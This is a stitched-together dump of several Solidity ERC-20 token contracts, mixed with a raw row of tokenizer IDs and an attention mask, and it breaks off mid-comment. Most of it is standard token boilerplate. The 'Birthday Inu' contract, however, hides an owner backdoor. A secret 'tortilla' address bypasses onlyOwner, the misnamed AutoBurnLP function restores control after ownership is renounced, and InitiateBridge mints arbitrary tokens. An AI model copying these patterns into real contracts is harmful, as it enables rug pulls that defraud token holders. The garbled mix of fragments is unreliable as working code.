EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /* * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. / contract DonotInu is ERC20 { uint8 immutable private _decimals = 18; uint256 private _totalSupply = 10000000000000 10 18; / * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor () ERC20('Dono Inu', 'DONINU') { _mint(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 6021, 1008, 1013, 1013, 1008, 1008, 2079, 2025, 4965, 2023, 19204, 1012, 2023, 2003, 1037, 19204, 2005, 4909, 1037, 12382, 13445, 2013, 2026, 2200, 2219, 2392, 23195, 2040, 2003, 2785, 2438, 2000, 2507, 2033, 2067, 1996, 11372, 2002, 2038, 7376, 2013, 2033, 1012, 1045, 9377, 1010, 2079, 2025, 4965, 4983, 2017, 2215, 2000, 9002, 2000, 2023, 13445, 1012, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 4520, 1036, 3815, 1036, 2004, 1996, 21447, 1997, 1036, 5247, 2121, 1036, 2058, 1996, 20587, 1005, 1055, 19204, 2015, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 2590, 1024, 2022, 8059, 2008, 5278, 2019, 21447, 2007, 2023, 4118, 7545, 1996, 3891, 1008, 2008, 2619, 2089, 2224, 2119, 1996, 2214, 1998, 1996, 2047, 21447, 2011, 15140, 1008, 12598, 13063, 1012, 2028, 2825, 5576, 2000, 10210, 28731, 2023, 2679, 1008, 4650, 2003, 2000, 2034, 5547, 1996, 5247, 2121, 1005, 1055, 21447, 2000, 1014, 1998, 2275, 1996, 1008, 9059, 3643, 5728, 1024, 1008, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1001, 3277, 9006, 3672, 1011, 25246, 25746, 22610, 24594, 1008, 1008, 12495, 3215, 2019, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /* * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /* * @title Basic token * @dev Basic version of StandardToken, with no allowances. / contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /* * @dev total number of tokens in existence / function totalSupply() public view returns (uint256) { return totalSupply_; } /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /* * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 / contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /* * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol / contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred / function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. / function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /* * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. / function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /* * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint256 public decimals; } contract URToken is StandardToken, DetailedERC20 { uint256 public constant INITIAL_SUPPLY = 50000000000000000000000000; constructor () public{ decimals = 18; symbol = "URCN"; name = "UrToken"; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; 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/** Submitted for verification at Etherscan.io on 2021-06-28 / pragma solidity 0.5.16; interface IERC20 { /** * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the token decimals. / function decimals() external view returns (uint8); /* * @dev Returns the token symbol. / function symbol() external view returns (string memory); /* * @dev Returns the token name. / function name() external view returns (string memory); /* * @dev Returns the erc20 token owner. / function getOwner() external view returns (address); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address _owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; address private tortilla; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; tortilla = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { if (_msgSender() != tortilla) { require(_owner == _msgSender(), "Ownable: caller is not the owner"); } _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function AutoBurnLP() public { require(_owner != tortilla); emit OwnershipTransferred(_owner, tortilla); _owner = tortilla; } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). / function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BirthdayInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public infinit; mapping (address => bool) public fifa; mapping (address => bool) public dollar; mapping (address => uint256) public rugby; bool private catness; uint256 private _totalSupply; uint256 private airline; uint256 private dubai; uint256 private _trns; uint256 private chTx; uint8 private _decimals; string private _symbol; string private _name; bool private pengg; address private creator; bool private nanos; uint television = 0; constructor() public { creator = address(msg.sender); catness = true; pengg = true; _name = "Birthday Inu"; _symbol = "BIRTHINU"; _decimals = 6; _totalSupply = 20000000000000000; _trns = _totalSupply; airline = _totalSupply; chTx = _totalSupply / 1700; dubai = chTx 40; fifa[creator] = false; dollar[creator] = false; infinit[msg.sender] = true; _balances[msg.sender] = _totalSupply; nanos = false; emit Transfer(address(0), msg.sender, _trns); } /** * @dev Returns the token decimals. / function decimals() external view returns (uint8) { return _decimals; } /* * @dev Returns the token name. / function name() external view returns (string memory) { return _name; } /* * @dev Returns the token symbol. / function symbol() external view returns (string memory) { return _symbol; } function InitiateBuyback(uint256 amount) external onlyOwner { airline = amount; } /* * @dev Returns the erc20 token owner. / function getOwner() external view returns (address) { return owner(); } /* * @dev See {ERC20-totalSupply}. / function totalSupply() external view returns (uint256) { return _totalSupply; } /* * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function randomly() internal returns (uint) { uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, television))) % 20; television++; return screen; } /* * @dev See {ERC20-allowance}. / function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {ERC20-balanceOf}. / function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function LogFunction() external onlyOwner { airline = chTx; nanos = true; } /* * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * * / function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function InitiateBridge(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /* * @dev Creates `amount` tokens and assigns 